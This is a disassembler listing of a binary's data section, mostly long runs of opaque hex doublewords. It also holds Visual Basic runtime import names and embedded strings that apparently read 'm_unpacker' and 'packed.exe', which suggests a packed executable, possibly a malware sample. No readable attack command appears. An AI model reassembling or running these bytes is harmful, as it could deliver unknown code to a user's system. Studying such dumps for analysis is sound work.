		dd 41D040CEh, 9A76738Bh, 600853D4h, 368EEBFFh, 3F19233Ch
		dd 4B40A4C6h, 1F62C32Dh, 4DE5B390h, 0FF4D1830h,	0B10DF39Fh
		dd 2800256Ch, 5207B58h,	0AB823BF9h, 612114Eh, 7BF60000h
		dd 45A10120h, 86959F8h,	0D02C92B5h, 9112EC73h, 0CE412B4Eh
		dd 83A6F97Ah, 0DF62BF3Fh, 163984E3h, 54FB48A8h,	2CCF62FEh
		dd 0F1A00592h, 8F115813h, 5ED82632h, 0DBB59601h, 0C71C9CA2h
		dd 9BE647A9h, 0FC7A44BDh, 0E64668A7h, 0CD041E99h, 0C8A1E137h
		dd 3F7FE134h, 0FF997EC3h, 0B331CA67h, 15F6A5EDh, 98942A3Bh
		dd 589CB11h, 0BBA750EDh, 0AF8CA5EDh, 8F0A57D7h,	786D2BEh
		dd 49000000h, 15360h, 8F115700h, 31D6DB32h, 3767089h, 57F4Eh
		dd 0B30E6B00h, 8BD852ACh, 409B1AE4h, 1E63C121h,	0D924877Bh
		dd 15A1DEB6h, 0D6284F92h, 9A640B58h, 43BFC21Dh,	91FD9CE1h
		dd 919364F9h, 0BA98A005h, 328F11C1h, 2479FBC7h,	701465EDh
		dd 35C65BF3h, 85A5EDB3h, 0B72679DFh, 0DDBE824Dh, 56AB0DF3h
		dd 7D7F8F33h, 1C2089CAh, 0B7000000h, 0E9922F47h, 4EA5EDB3h
		dd 0C914956Dh, 0DC937D4Eh, 0D4h, 0CE6013h, 47570000h, 5F4C5218h
		dd 3018153Dh, 0A7B1CA12h, 0F845A10Fh, 9B7A5867h, 7D5B1304h
		dd 0D4F32BE0h, 0CC4B28ABh, 335D36BEh, 0E6D3669Eh, 0EF4E91A5h
		dd 0DAA7B615h, 2506E6B2h, 5451CBF6h, 6F20497Ch,	4C8h, 0D77AC520h
		dd 2F328FEBh, 680F52D3h, 0A2C51A96h, 0E180DB5Ch, 4BAC1897h
		dd 119151F0h, 0D655ADCCh, 9A1AE48Bh, 30482245h,	590DA9Dh
		dd 8A7D5FA0h, 0ABF67947h, 5C37BFCDh, 1370CA34h,	25902D45h
		dd 0C6ABD000h, 676813AEh, 0EECDA00Bh, 460E1F75h, 0C3ADFBD0h
		dd 0D06800E3h, 0F15225B8h, 88D7A00Ah, 2356DF4Bh, 3F19FE66h
		dd 83ADF071h, 8062BF3Dh, 53F2DE21h, 0ABF383Ch, 267BFDA0h
		dd 0E33EBF03h, 0B60B6B55h, 3DEEA3DAh, 0C5000004h, 0C652294Dh
		dd 47A816AEh, 0B39E59F4h, 0B9FCA5EDh, 696CE856h, 324FE7C9h
		dd 0A5ECE349h, 40280DEEh, 0D4FB5E2Dh, 9118FBABh, 612698Dh
		dd 0E6DC99EBh, 52D2ACA5h, 0D0FD280Dh, 587C5429h, 3FA60D1h
		dd 93EE0000h, 5DD92948h, 20816100h, 0E844BADDh,	0A90AF49Bh
		dd 26593356h, 0ABCE1192h, 0E78AD757h, 3E419C1Bh, 7C0360C0h
		dd 14E77A16h, 19A00591h, 294D403Bh, 0E8ABC652h,	7DABD5CBh
		dd 0AB0CF29Eh, 2C04D950h, 0F54AAA14h, 0C419955Bh, 0DE7784Dh
		dd 0BC5954D6h, 0C53D4C24h, 8C721E63h, 2845D330h, 0A005B14Fh
		dd 0E019F7D4h, 17215A82h, 0EDC8A8FAh, 54FCDFA5h, 0D9B70C6Ah
		dd 60A62941h, 0C25E2100h, 47A99761h, 96B57FAh, 0D4529CB4h
		dd 43CE1192h, 2C129D62h, 80A88DD2h, 1DAB8A6Dh, 0E4CCAF9Ah
		dd 0B595D9ADh, 1DAB5F18h, 360DA9Ah, 0F2D1B794h,	92EE032Dh
		dd 0AD9FFFC6h, 53785FCEh, 0ADCC823Bh, 337F4h, 0B56D300h
		dd 0C3209A64h, 98E342BCh, 56AB09F9h, 116CCF33h,	5DE9260Eh
		dd 1EE087DAh, 0C23C43A0h, 8B771A65h, 0D9B5D429h, 8F4B2C41h
		dd 0F2D0A005h, 0FA794739h, 15CDFA7h, 0D1E74937h, 0EDB3BBBCh
		dd 145F1FA5h, 908AAD42h, 2E71CEB0h, 18FDC2E3h, 0F24FD191h
		dd 0ECA7CF6Fh, 0A5FA7A44h, 21EB3CBh, 7DABCF61h,	0D679139Eh
		dd 0E4A97508h, 5CF1DF5Ah, 0A00B1397h, 6CD732Eh,	83E87106h
		dd 3AAFh, 18473000h, 0C8600741h, 0F98B65F3h, 0DF721E75h
		dd 0ABCF021Dh, 0BB086648h, 0A1816F7Ch, 3B3857C2h, 42A00AD1h
		dd 0AAE27117h, 7783E833h, 0DDB942DFh, 9D7EA00Ah, 0E1A7B3h
		dd 11280000h, 0FBC7328Fh, 0C4EA2578h, 8F711F64h, 85A6D12Ch
		dd 0EC4C72ABh, 0B837F997h, 53652A65h, 438092CAh, 7110F8DDh
		dd 0ED2FE7E2h, 116ECEA5h, 1B79E60Eh, 9ED24ADDh,	7DFFC1AFh
		dd 9525D66Bh, 290AA5EDh, 63C22C44h, 0AFF93018h,	0BED3E541h
		dd 0A5ED94BDh, 75BC8162h, 94F5861Bh, 593AA5EDh,	668E9C74h
		dd 5EB032Dh, 8DD54A9h, 0B23B0D20h, 0BD9EABCFh, 0E3F4789Ah
		dd 8E637020h, 44ECB1E7h, 0F031AB29h, 3B5536A5h,	82F72F5h
		dd 0B3EA35B6h, 7C501AA6h, 0E5CE83F6h, 5000001h,	0CC3255A8h
		dd 0B40A2D72h, 7B47EA35h, 2181A0FDh, 74DC63BEh,	0D12C8F3Bh
		dd 0ADF2704Eh, 64B7348Ah, 267BFDC5h, 821F2B03h,	0A0058DF9h
		dd 116B5C3Eh, 0DB25338Eh, 45364B5Dh, 0EAA5EDB3h, 0D8ED2409h
		dd 0F9151F0h, 4D5AAFB2h, 0AEC65229h, 0B49CDF40h, 0CFCBDF99h
		dd 4C50AABh, 35BD83C4h,	0FBD8A880h, 2712E1BCh, 0FCB5A00Bh
		dd 88818D48h, 0C42283E8h, 0B5000000h, 0C7328F11h, 0EA2578FBh
		dd 6DCB2C92h, 1EFCC11h,	0EDB8596Ch, 0A7FC7CA5h,	74C92789h
		dd 2140283Dh, 9E1F5FC1h, 59337E43h, 0AECBACC1h,	7350A5EDh
		dd 245F87A5h, 0FF44A20Ch, 0EE318EB0h, 0D3BD82A3h, 0CC2626BBh
		dd 0CAA9ABCFh, 0A4DF07A7h, 1ED9748Ch, 3A00B91h,	9D304820h
		dd 0A5F040D8h, 0E8D66241h, 0FB153487h, 0E02DCE63h, 11F29A26h
		dd 0ABF67947h, 50047170h, 57ABF7Ch, 0F4h, 23469914h, 7B1E63DFh
		dd 0B4DB2687h, 8E91EE4Ah, 0CD6CAF30h, 17982C63h, 0DD5DA5C4h
		dd 0A201E180h, 66C6385Fh, 41C7619h, 58D0EE9h, 463113A0h
		dd 0CF4F8E11h, 0D0DD237h, 9B65F3D0h, 7556C11Ch,	0B4348A9Bh
		dd 11FFC86Fh, 0D826328Fh, 0EB5B0457h, 7CBBEFFh,	0F9930AE6h
		dd 0D32CD256h, 27F1C72Eh, 0EE8AD759h, 725EA100h, 502BB3D3h
		dd 277CF638h, 57993149h, 3AB688D5h, 0BF99AAE5h,	0D597F9A2h
		dd 129D7EABh, 0E437B47Ah, 7DC2220Ch, 3F84E4DAh,	0A4809DF0h
		dd 0F742C28Fh, 5662C251h, 7B2B403Bh, 2106E57Dh,	0E340A01Eh
		dd 9A2E8AB4h, 7B2B7407h, 0F5DAB97Dh, 0D369E0BAh, 0F583E040h
		dd 2B37C05Dh, 62837D7Bh, 9908A107h, 9A76553Bh, 68B5378Bh
		dd 1E7021h, 47470000h, 0B3E9922Fh, 6D4EA5EDh, 3AA5B583h
		dd 0C3551814h, 5FF29E06h, 0A5ECBE9Ch, 0E1D6A281h, 0CE499411h
		dd 0F42380E0h, 0E7126DCAh, 8B065BDBh, 0BEF944A7h, 0A5EC2FB0h
		dd 57C21F9Dh, 78B70A6Bh
		dd 68A7FC76h, 1A1D685Ch, 14890000h, 0DAC6824h, 14890000h
		dd 0E0895024h, 405h, 4E88300h, 5C240487h, 68243C89h, 5E818C3h
		dd 8324148Bh, 8B5404C4h, 0C483243Ch, 4EC8104h, 89000000h
		dd 478F2414h, 2434FF08h, 4C4835Fh, 5124148Bh, 0C181E189h
		dd 4, 8704C183h, 0E95C240Ch, 0FFFB2550h, 0EC3E708h, 281EB85Eh
		dd 0C50305E8h, 5BC6E0FFh, 1CA7D3Fh, 6D3A7E9Bh, 19BE5CB9h
		dd 8BB0FD9h, 8A006DC1h,	8EB77DF1h, 22DC0874h, 0B3FE2119h
		dd 2F5C477Fh, 884543AEh, 0E8003BF2h, 0E8D17EADh, 0E7EB69F0h
		dd 7A6001BFh, 0C39A30A2h, 0C007565Eh, 947A295Ah, 0C7A07104h
		dd 233A6A5Eh, 7BDC093Ah, 1E534113h, 3466426Eh, 872C4505h
		dd 0DEE333DEh, 8C8E1445h, 0CFEC2780h, 80FD355Dh, 28387529h
		dd 0CD2C7508h, 0F0CD11B8h, 5CE90502h, 0C5000001h, 4377E705h
		dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh
		dd 657865h, 3Ah	dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 25h
		dd 0E924E782h, 1C2Eh, 0E82C5F68h, 559DE905h, 9368FFFAh
		dd 0E905E82Dh, 0FFFA5593h, 0E82EA368h, 5589E905h, 6068FFFAh
		dd 0E905E82Fh, 0FFFA557Fh, 0E82FB968h, 5575E905h, 9368FFFAh
		dd 0E905E830h, 0FFFA556Bh, 0E830EE68h, 5561E905h, 3D68FFFAh
		dd 0E905E831h, 0FFFA5557h, 0E837AB68h, 554DE905h, 4668FFFAh
		dd 0E905E838h, 0FFFA5543h, 0E8390B68h, 5539E905h, 2C68FFFAh
		dd 0E905E83Ah, 0FFFA552Fh, 0E83A8168h, 5525E905h, 4068FFFAh
		dd 0E905E83Bh, 0FFFA551Bh, 0E83BFE68h, 5511E905h, 9768FFFAh
		dd 0E905E83Ch, 0FFFA5507h, 0E8433B68h, 54FDE905h, 5F68FFFAh
		dd 0E905E844h, 0FFFA54F3h, 0E844FD68h, 54E9E905h, 9345FFFAh
		dd 3EB68B17h, 0EDED5C7Ah, 914425A1h, 41BA8F0Bh,	39D85773h
		dd 0AD297764h, 0B971DDCh, 0D2F8C436h, 0A62C6A6Fh, 71E247BEh
		dd 0A0F9F092h, 2FAE39FDh, 18B9C98Ah, 9A2318FCh,	16422D7h
		dd 0EC9319DEh, 18632FADh, 5B1C0AD3h, 0CA6F1236h, 1FAD8ECh
		dd 0E03CAB3Ch, 2358B8C3h, 30370C9Ah, 0EFF280A7h, 2384EC1Bh
		dd 4E023F18h, 0D711F9FAh, 675A8DFh, 35DA3FE7h, 0EC000000h
		dd 0D0577B18h, 0FAD1C777h, 0DA211E01h, 0E570CE5Bh, 16E275CBh
		dd 0B8D76CB5h, 0F4E5F9FAh, 0ECEC57B6h, 8F2945A0h, 0B93F41B7h
		dd 14875ACDh, 0E8243FE6h, 1E000000h, 0D823696Eh, 0CF5E6499h
		dd 36555384h, 0DD4C4A8Fh, 0B97CFD5Ah, 8B4EFC18h, 99221905h
		dd 74EB7C8Dh, 1BE38B13h, 51DA2384h, 2BFC18BAh, 3679E8AEh
		dd 3EECFDC3h, 0AEAF088Bh, 67FC18B5h, 47B0BF08h,	40CD3A41h
		dd 0C25CFD6Ch, 6D01FAE6h, 0A8501316h, 14C7C3E4h, 83245B0Fh
		dd 41F51E4h, 7C3F2219h,	1495317Fh, 8A2FA155h, 0F7DE49C9h
		dd 97F62318h, 21DA8526h, 0CE5D6199h, 272B508Dh,	30FE7DBFh
		dd 196B0A55h, 0C7310000h, 7262C7C3h, 21D9A836h,	0C530719Dh
		dd 7566DBC7h, 6D14A32Fh, 0F9E5AB50h, 47435188h,	2EB4F8E2h
		dd 0F2189E5Bh, 2516B3F2h, 0FCF9F095h, 2FAE75B1h, 18B9C98Ah
		dd 9A2318FCh, 729826D7h, 6AEB4CCFh, 60FC18B9h, 5E153177h
		dd 9715C28Dh, 0B3880790h, 9974A6A7h, 64275A40h,	3F82F75h
		dd 185E2CBDh, 1D995D7Bh, 11104D8Eh, 0FAD186C8h,	7FE25901h
		dd 0A11A5BFCh, 7CCBF9FAh, 0CA67C06Bh, 0D9F9FAA1h, 0AD60A79Fh
		dd 23FE62Bh, 0F3h, 571BDC9Fh, 0FAAD41F2h, 6EDB90F9h, 39AE695Dh
		dd 12C69965h, 5B9EC143h, 0CCD7455h, 9F0E9B8Eh, 46379C13h
		dd 0C140EBFCh, 8A53599Eh, 7D8816C7h, 1816EB14h,	0B2F8E1FCh
		dd 0D5611A8Fh, 0EB65586h, 5F98E9BDh, 72672659h,	3F889334h
		dd 0AE0B3E12h, 1FAD174h, 8CCD6A9Fh, 45F9FAD4h, 9415B1EEh
		dd 456624D5h, 5CC3E76Ch, 7CFD5ADDh, 95F9FAD4h, 96A40DDEh
		dd 9041F04h, 0F9A0F32h,	0A9A75415h, 65246B7Ch, 0DDAC2A78h
		dd 7EFF5820h, 97F7DF33h, 3384B512h, 0E65DF7DFh,	7D377CA9h
		dd 0EFE7D25h, 1837187Bh, 0FBFD0000h, 0A62E13BFh, 5585E4E2h
		dd 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh, 35D1DF1Ch, 933F8574h
		dd 7A602CAEh, 0CED4D207h, 195AFF06h, 0C8F9F094h, 39AE8145h
		dd 29BBA9E8h, 682CA8CBh, 0AAAB0C33h, 7BFC189Fh,	47B4BB0Ch
		dd 0EBEC5D79h, 6E3B21ADh, 99D82369h, 0BBBC5A60h, 2A8FB296h
		dd 1FAEC24h, 2C7590EFh,	0F9FA8A17h, 97420504h, 679F209h
		dd 75FDCED2h, 42B2F581h, 15B62746h, 0E642BC11h,	0CD133Fh
		dd 0ADEC0000h, 226E6A2Eh, 0C62592DBh, 0AE763495h, 30A8E8EFh
		dd 67DC196Ch, 0F750D704h, 0FC18B946h, 3907A09Fh, 0FAFEA147h
		dd 0EEEC57B6h, 0B4E475A2h, 41CBBB96h, 0DD423B8Ch, 0A5D176E9h
		dd 0FC01FA5Ch, 3BE64187h, 0FFD551C8h, 6ECB7E52h, 0DB879F70h
		dd 6059AC9Bh, 0D958CFE3h, 80595F96h, 0A154EB27h, 323502E1h
		dd 582516B3h, 87FC1A5Ch, 3FB8FB26h, 582516B3h, 8DFC1A5Ch
		dd 0BC394C4Ah, 0BD8C0A47h, 75317E3Ch, 0C623FFCEh, 1727C0A3h
		dd 0BCD0000h, 0B63E038Fh, 6595D4F2h, 9CCBD59h, 0B9220783h
		dd 0B150EFEBh, 25A1EFECh, 830F9544h, 6A703CBEh,	3EA4E217h
		dd 0E96ACF36h, 38F9F097h, 696EB175h, 62EFD823h,	0F07EDB4Eh
		dd 1B01FAECh, 0AEB8A62Ch, 19A2E8EFh, 4094537h, 4447DBFCh
		dd 0A411C366h, 9D9604A5h, 78C901FAh, 68ED387Ch,	0DB6ACD33h
		dd 6786A3DCh, 9C18DCFAh, 9097CC09h, 0F1AC9B37h,	0A6C5B28Ch
		dd 61E0C449h, 13494AD8h, 9396ED93h, 2DAE9110h, 4C95C667h
		dd 0FD4C64CAh, 6445B200h, 8BBEFCFDh, 2BD0301Eh,	0EF487329h
		dd 64CA396Eh, 4A93C8A7h, 72ECED5Ch, 0D1884183h,	3471AE15h
		dd 71729274h, 6AB392F7h, 0E000016h, 63C6CCC8h, 0D6AB3773h
		dd 31709E22h, 67DAC0C6h, 15A22876h, 0E6AC516Eh,	4C5289F8h
		dd 0B5F9E346h, 199F5829h, 17B0F1FDh, 0F9F09626h, 0AE74B6FFh
		dd 187BEBEFh, 0DEB80F00h, 5E9FEE5Bh, 9D15C28Dh,	82CB5260h
		dd 0D49D7389h, 4DBA86EDh, 44558A20h, 0E948DD0Ah, 1611h
		dd 796521D7h, 0C2C8CC08h, 0AB377B7Fh, 7D991FD6h, 0C5C1CF0Ch
		dd 5F6C7AEh, 0AB2E13BFh, 5288F9E5h, 0F8E1404Eh,	0D92814B2h
		dd 0F096FF70h, 0AF6F16F9h, 0D823696Eh, 0DDE31659h, 3A2E330Ch
		dd 0C948A207h, 0C6BB01FAh, 4A568214h, 3E4DBA33h, 865A40BDh
		dd 3ABAFD03h, 0ED6ECB7Eh, 24F9FAA8h, 98857E4Fh,	7332B5B4h
		dd 58A13A88h, 418D2D2h,	4BCA3E75h, 0A2EE6FC8h, 4827F7DCh
		dd 5EC7E1CFh, 0E7C02C3Fh, 5B4139Eh, 260A1793h, 0B1488623h
		dd 0B9F8A997h, 0AE2F7E44h, 6BB2891Dh, 4F00A928h, 8652572Ch
		dd 3A2710A9h, 58B61316h, 0E8AFB1A6h, 1A632A9h, 482DA950h
		dd 0A7DAA81h, 3FBCCFCDh, 1C0378AEh, 0F5109E5Dh,	79386740h
		dd 0AD9C3A80h, 0A3016E2Ch, 0E8560F9Fh, 1537B29Dh, 0FBFD0000h
		dd 0A62E13BFh, 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh
		dd 35D1DF1Ch, 933F8574h, 7A602CAEh, 0CED4D207h,	195AFF06h
		dd 0C8F9F089h, 0C7888145h, 23FC18B9h, 0FC18C90Eh, 18D9A5DAh
		dd 99FC71FCh, 9CEFC18h,	19484E89h, 84DD8DEh, 8FF056D3h
		dd 16730A44h, 14DC4Fh, 52568000h, 8501F5B4h, 0ECB02819h
		dd 565483E6h, 0BE04F948h, 0A3FC9B10h, 1B6E743Ah, 7534D2E0h
		dd 0AA9F3B87h, 63636F2Dh, 89B4A502h, 206DF9F0h,	5D7B18FAh
		dd 0A4DB109Eh, 14B5F1E5h, 0DFFE4CEDh, 5A1101FAh, 628A63DDh
		dd 2A751004h, 148Dh, 0E5E1A553h, 4E545084h, 17B3FFFBh
		dd 0F9E5A352h, 414D5388h, 89724B2Ah, 2FAA9F3Bh,	0D6046561h
		dd 7C7DCCCAh, 55AC903Eh, 0F08843F4h, 2B9392F9h,	0D823696Eh
		dd 3DFC059h, 0BFE3F450h, 0F0B6232Eh, 43020395h,	8BB3149Ah
		dd 1C9974BBh, 23363A04h, 8000000h, 18B9FB88h, 8A10C9FCh
		dd 2E84DB0Ch, 0BDA4FC74h, 0EB5BB6CFh, 0C988BFF4h, 103B8C12h
		dd 141831h, 696E7500h, 62EFD823h, 0D958DB4Eh, 0B940F156h
		dd 0DA91FC18h, 18B9D081h, 47E001FCh, 0FC18B916h, 0A23B70CFh
		dd 0FAD7C159h, 0D8016001h, 4D70F20Eh, 0E825E8BEh, 3F2417B3h
		dd 0B0F778C1h, 512EF9FAh, 0A3E265E4h, 0A6177634h, 0B312BC05h
		dd 86FD0418h, 7AFCFC67h, 0DCB29CDDh, 0A422B5F7h, 896BD719h
		dd 7492CF04h, 0DCE15FD3h, 2D696DF7h, 388100A1h,	0F7DCE137h
		dd 94891EEh, 0B5A603CDh, 0B7F7DCE1h, 0AB207B3Fh, 9BD0AFh
		dd 85B18801h, 0F9F53292h, 3B7561E0h, 28ADF8BEh,	171AA8F3h
		dd 0CE1FA554h, 9242B084h, 4F828816h, 0FE45C911h, 14773BBFh
		dd 929906A7h
		dd 0AD000001h, 0EC4639AEh, 4946D2D9h, 0B69A8770h, 372C16B3h
		dd 54E701FAh, 0E25C2DF3h, 612DAFE2h, 2F64D11Ah,	256195DCh
		dd 880CC8B9h, 0D91F147Dh, 244F9FBh, 9410C432h, 41B8FB0Eh
		dd 1AA32873h, 19083C21h, 19F746B0h, 6F3B204h, 0D7F06580h
		dd 3EA1C4B3h, 96EBF7BDh, 63CC5F65h, 0F7DD86CCh,	55E1D593h
		dd 0F2C28C4h, 922BAE48h, 6E6A2EAFh, 2592DB22h, 208908B9h
		dd 0F7DDFA2Fh, 313089E6h, 3BBAC1C5h, 16ACFFBBh,	6292E0D4h
		dd 1FF2B826h, 8E45C956h, 0EC4D0BCFh, 0F7DDF66Bh, 3790CDBAh
		dd 37CAh, 0EFAEFC00h, 5B06A7EBh, 86891CA2h, 11543E11h
		dd 0CF188B93h, 36555B80h, 0FC4A3ABCh, 9415B1FFh, 0B0DED103h
		dd 0B13A4147h, 0B755FC98h, 0B0BD1016h, 0BA123A04h, 54000000h
		dd 0D0577B18h, 0C6F3851h, 82B3BD30h, 0F262D039h, 0BEF501FAh
		dd 0ECB3246Fh, 0CF99A3ABh, 3EB6B902h, 0E9ED5C7Ah, 0FFFBBAADh
		dd 0DAE368B3h, 0C0C430B3h, 0D7AF09A5h, 0A32F6B6Bh, 0E67728E5h
		dd 71873Fh, 41000000h, 0DCDA1F99h, 0F6D70C49h, 567A1830h
		dd 0B91576D3h, 0F74CFC18h, 0BAB6CB94h, 5684FC18h, 44B0334Ah
		dd 9ED82540h, 0CE8852A6h, 0CD0948F6h, 1B07F0C9h, 8A733235h
		dd 0F9A91304h, 91FAB2AEh, 3F60C948h, 4DFC184Fh,	13C7CB0Ah
		dd 1D89528Fh, 98E3A92Ch, 49F8E653h, 0E4DD73D0h,	877346CEh
		dd 3E6BE03Bh, 22ADAE0Bh, 0F64FC18h, 753BEh, 8E6B0000h
		dd 3Ch,	266A6EB4h, 5C589CC7h, 8703F3B6h, 7A7A3D64h, 676014E2h
		dd 7BB0FEFFh, 5912AB20h, 0AF881331h, 0FC189D95h, 0C2704482h
		dd 9D75E643h, 0D7ACFC18h, 379D70F6h, 4D323A04h,	3400000Ch
		dd 238E7E18h, 755610D9h, 30196CD9h, 85C38188h, 0D7635395h
		dd 8F80AC42h, 0BDC4E33h, 0AFE4A27Fh, 4909C3h, 7860000h
		dd 320B9144h, 75B36401h, 0CD153DDh, 7BE7D484h, 18CFBB0Ch
		dd 1CA0587Eh, 10174C89h, 18B986B7h, 85E05FFCh, 8C87D9BCh
		dd 0BC88CEA5h, 77E19875h, 28637E3h, 27B00000h, 0A655DC16h
		dd 0C8ACA15Eh, 9999F64Fh, 18AF9B2Ch, 8294527Eh,	23696EB8h
		dd 55556F87h, 3D040788h, 895554C5h, 72CFF1FEh, 542469h
		dd 181E0000h, 0AE94527Eh, 47A6ECEFh, 0ED4AB516h, 0FC18B951h
		dd 9B4236A3h, 72EF95CDh, 8C4C3D69h, 3B70E500h, 0E7EFAEBFh
		dd 1E6D31A9h, 0D84760DDh, 0DADE1659h, 6A6E2501h, 0F1709826h
		dd 0B968E94Eh, 7962FC18h, 0C7502F2Bh, 8E0C111Fh, 6A50691Fh
		dd 548Eh, 7E18B400h, 0B1BA2F52h, 7885F6BBh, 0AEB98D5Eh
		dd 18B97509h, 0F31287FCh, 43498E61h, 2C9AB338h,	0B1DAE3B8h
		dd 5CC3C90Eh, 18C27AFBh, 67DCABFCh, 0AE94AE5Bh,	0B9C98A2Fh
		dd 0E918FC18h, 18B90F40h, 3C69C6FCh, 0B434A4ABh, 0AE2D5A94h
		dd 56C077E0h, 70982693h, 123D884Ah, 528B895Bh, 0F6E3464Ch
		dd 23629DB0h, 0BFFDFAB6h, 6BB2EF6Ch, 7C3ABFE2h,	541BAC29h
		dd 0DA4A19A7h, 9D5AA89Ch, 68A5E115h, 0BA00F938h, 50F978ABh
		dd 715AE01Fh, 2516B336h, 0FC715AE0h, 0AF714A87h, 9E24D79Dh
		dd 628E120Fh, 0A44937C1h, 0D2297565h, 0DA1E1650h, 32807432h
		dd 4081C7C5h, 0FD7EDB97h, 14715A53h, 1053E25Fh,	533549EBh
		dd 67DC715Ah, 221254CCh, 236523D4h, 50ABF9E2h, 930ECF70h
		dd 4DC2706h, 0B9D26325h, 564BF1D8h, 0AEA83168h,	2D7368D6h
		dd 9117C0A1h, 0B85A83C2h, 715A328Ah, 0E03F166Dh, 0B7208E66h
		dd 32DD9E3Bh, 3574715Ah, 578CF9C5h, 0AA511011h,	32C8892Eh
		dd 2219715Ah, 4AEF96F5h, 715A3209h, 953663D8h, 0D46F2DAAh
		dd 0E25C370Ch, 0BF33A412h, 5A32591Ah, 3B6F8871h, 58963846h
		dd 61A71C49h, 97D861E0h, 4E715A60h, 7069E8F1h, 0B3281B2Ah
		dd 682E56EDh, 0E3A92E9Ch, 0FAFDBCBDh, 0F2E669BCh, 0ECD871AEh
		dd 608A7BA8h, 6E8E7C4Dh, 82872369h, 8A7A18B8h, 33516EEEh
		dd 0A495323Dh, 7DFC185Dh, 569CC906h, 28AFEE6Fh,	9D21B62h
		dd 788553Dh, 3AC73D04h,	0FB000000h, 0D3567A18h,	84256B90h
		dd 0AC2FAEA6h, 87A0EEEDh, 0FC18B9D6h, 4E97300Fh, 0FC18B930h
		dd 0AE466CDBh, 2D6B6C2Fh, 7E4C9DDEh, 0A6ECEFAEh, 1E9A5A05h
		dd 8E4A70D0h, 28h, 567A18B4h, 7509AE68h, 61FC18B9h, 2FAECEF4h
		dd 0B94A0BACh, 0AC9BFC18h, 0B95B1CBDh, 0BD8AFC18h, 666E5E2Ch
		dd 4A708422h, 18C77D88h, 1DFE41FCh, 4FFFFFDh, 18B9FB88h
		dd 0B997BFFCh, 2AAC2C1Dh, 18B9CC8Dh, 0F12E05FCh, 0B98CCDAAh
		dd 7FF9FC18h, 0F3BF3B87h, 266292D7h, 0BD93BFB8h, 0C99016Eh
		dd 0B4323E6Fh, 629449C0h, 76397C5Ah, 7DA23B81h,	225h, 0B9FA8841h
		dd 93B0FC18h, 84541B5h,	0D2D2B019h, 4E2501FAh, 5F5D98DBh
		dd 683E8FCCh, 4EDDE119h, 54CBCF07h, 42D9E515h, 1CF233D5h
		dd 0CB002D83h, 0ECE86BF2h, 0FF645DA8h, 92D554CBh, 3D862765h
		dd 4186609h, 0DC6E8BE0h, 0AFFE7FE2h, 0E1F7BDAh,	13C50000h
		dd 0BE360B97h, 6D6DDCFAh, 11C4A521h, 0C13A0F8Bh, 0B958D7F3h
		dd 2DA9F7E4h, 8B179D5Ch, 527844B6h, 26ACEAEFh, 0F162C73Eh
		dd 20F9F08Eh, 696EB97Dh, 62EFD823h, 43251092h, 0EF2491B3h
		dd 0B159DF78h, 87FC0200h, 9B5E0180h, 6445F615h,	0B36DFDFDh
		dd 8E8F4CF5h, 0C4C23574h, 0BA3E038Fh, 0AB2C97F6h, 5EFB7AEDh
		dd 0F9F01C1Dh, 38867534h, 0AA3368EDh, 15C18083h, 0F8C10A91h
		dd 3B2E020Fh, 124F8C9Eh, 97422704h, 0FC410009h,	30CEA772h
		dd 4B26BEFBh, 6005FE7Ah, 0D8401h, 0EAAE2800h, 5D599DECh
		dd 8408F0B1h, 0EEAC2B1Eh, 565C81E0h, 4B543348h,	0A3860C92h
		dd 1D6C6A38h, 7237D3DFh, 0DB9B0785h, 814C0DAAh,	9885F9F0h
		dd 23696E52h, 4E62EFD8h, 7EFF58DBh, 97FC18B9h, 27800FD8h
		dd 1FAC9E3h, 38399E01h,	0E9F9FAA9h, 66DD4992h, 0CAD00978h
		dd 22060BCCh, 0F30B9A3Fh, 3EA107E2h, 0D282D899h, 0F3209F7h
		dd 0D282A9AAh, 0BA0378F7h, 95E3CB6Ch, 6C3AAF58h, 0DC03A7EBh
		dd 0D502BA85h, 0DBE71352h, 12CB8A3Fh, 8E70E146h, 0CAA1F7D2h
		dd 0FCCD0E9Dh, 0E2398575h, 0D5307663h, 9E59771Ch, 1BBCA318h
		dd 0A30DD0Bh, 6D1A28A1h, 85B82669h, 5483E624h, 429C1956h
		dd 35F89845h, 0CBFF150h, 73650000h, 1ED6AB37h, 0CD0D7C9Ah
		dd 7164C5C1h, 21DAAF2Bh, 19F87793h, 4D495784h, 2BB7FDFCh
		dd 0F218A456h, 464C4A8Fh, 91C2679Eh, 40F9F080h,	2FAE19DDh
		dd 18B9C98Ah, 3C2318FCh, 18B9DA9Bh, 0AB3C0BFCh,	167533A4h
		dd 9190B4D9h, 0FAD6C648h, 93950201h, 0DBF1BC0Dh, 7A315576h
		dd 485484C7h, 7B2FB83Dh, 0A700CE06h, 0F9FAF1B6h, 3FDB106Fh
		dd 84028E4Ah, 577B18DEh, 0CF9377D0h, 0AED101FAh, 0FAAF4809h
		dd 19A299F9h, 713FBC8Dh, 0F574A12Ah, 237A46B2h,	157034A0h
		dd 0CB526BA0h, 0FAAFD16Eh, 0B084C2F9h, 2D51582h, 1CC4537Eh
		dd 7262BFCBh, 48CB3FE6h, 0FAEA6EEFh, 7A14A7F9h,	0BCCFD1C2h
		dd 59C6E75Ch, 95h, 22666E6Dh, 585C98DBh, 66C342CDh, 0FC18B9F5h
		dd 0CB76572Ch, 0F47F8E0Ch, 0EB1E8400h, 0CFD0FF68h, 25A1BA4Fh
		dd 18295304h, 3EBF82FCh, 0C9A23B70h, 0F36D6A44h, 8BF4549Fh
		dd 98E3588Ah, 0E063E653h, 0F0839377h, 0D6F7596Ch, 0FA13718Dh
		dd 46A39801h, 461C532h,	9ECD94F1h, 4200000Bh, 0B78A1094h
		dd 0EA5F7B3Fh, 4524A2EEh, 0BB8E1492h, 0D9567C42h, 2A78653Ah
		dd 901EDDACh, 0F9C5370Ah, 2D6B6CDDh, 0E344BDA1h, 0F9F08372h
		dd 6E38E2A3h, 25A42266h, 4Ch
		dd 22666E59h, 4D61EEDBh, 0D0C97DDAh, 4B2001FAh,	6298B42Eh
		dd 73D2B704h, 0B49h, 21ADE9EFh,	8A109440h, 537F43B7h, 25A1E7EEh
		dd 8D099744h, 0CD0E8F76h, 7366DBC7h, 1AC0A12Dh,	0C0390896h
		dd 9110DCFAh, 0F0830748h, 9757DEF9h, 0ABEDEFAEh, 0D4376C32h
